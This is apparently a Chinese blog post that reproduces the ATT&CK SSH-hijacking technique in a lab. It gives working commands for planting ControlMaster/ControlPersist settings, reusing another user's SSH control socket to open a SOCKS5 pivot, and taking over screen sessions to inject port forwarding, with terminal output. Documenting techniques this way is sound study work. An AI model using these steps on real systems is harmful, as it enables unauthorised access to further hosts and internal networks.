title: SSH劫持
tags:


ATT&CK矩阵-横向移动-SSH劫持

一、简介

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. Compromising the SSH agent also provides access to intercept SSH credentials.

安全外壳(SSH)是Linux和macOS系统上远程访问的一种标准方法。它允许用户通过加密隧道连接到另一个系统,通常通过密码,证书或使用非对称加密密钥对进行身份验证。
为了从受感染的主机侧向移动,攻击者可以通过劫持与另一系统的现有连接,来利用主动SSH会话中通过公钥身份验证与其他系统建立的信任关系。这可能是通过破坏SSH代理本身或通过访问代理的套接字而发生的。如果攻击者能够获得root用户访问权限,则劫持SSH会话可能很简单。破坏SSH代理还提供了拦截SSH凭据的访问权限。

二、复现

2.1 第一种场景

网络拓扑示意图
如上图所示,SSH_User客户通过ssh连接到主机1,攻击者已控制SSH_User这台机器,攻击者可通过注入端口转发来实现入侵主机1和主机2之后的网络。

  1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下: ``` ControlPath /tmp/%r@%h:%p ControlMaster auto ControlPersist yes
  1. ![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/%E5%8D%9A%E5%AE%A2/clipboard_20200114054615.png)<br />
  2. 如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。
  3. 2. SSh_User连接到主机1时,护在`/tmp`目录下生成一个socket文件,可以用他来连接
  4. ![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/%E5%8D%9A%E5%AE%A2/clipboard_20200114054648.png)<br />![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/%E5%8D%9A%E5%AE%A2/clipboard_20200114054748.png)<br />`ssh -O forward -D 8888 -S /tmp/socket连接 %x`<br />![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/%E5%8D%9A%E5%AE%A2/clipboard_20200114055022.png)<br />![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/%E5%8D%9A%E5%AE%A2/clipboard_20200114055141.png)<br />
  5. 此时,可以用SSH_User这台机器的8888端口进行SOCKS5代理,访问主机2和之后的网段了
  6. #### 2.2 第二种场景
  7. 1. SSH_User用户使用screen管理ssh会话时候,在远程连接主机1时,会在`/var/run/screen`有显示相应的文件

root@kali:~# ls -la /var/run/screen/ total 0 drwxrwxr-x 3 root utmp 60 Mar 16 03:37 . drwxr-xr-x 20 root root 640 Mar 3 21:23 .. drwx——— 2 root root 60 Mar 16 04:21 S-root

  1. > 其中S-ROOT表示是本地的root用户连接的远程,可以用`screen -r root/`来接管会话
  2. 2. 注入端口转发,需要先执行`script /dev/null`来绕过`pts/tty`限制,如下:

root@kali:~# lsof -i TCP:8888 root@kali:~# script /dev/null Script started, file is /dev/null root@kali:~# screen -S 6851.pts-0.kali -p 0 -X stuff $’~C’ root@kali:~# screen -S 6851.pts-0.kali -p 0 -X stuff $’-D:8888\n\n’ root@kali:~# lsof -i TCP:8888 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ssh 6852 root 7u IPv4 94301 0t0 TCP :8888 (LISTEN) ssh 6852 root 8u IPv6 94302 0t0 TCP :8888 (LISTEN)

```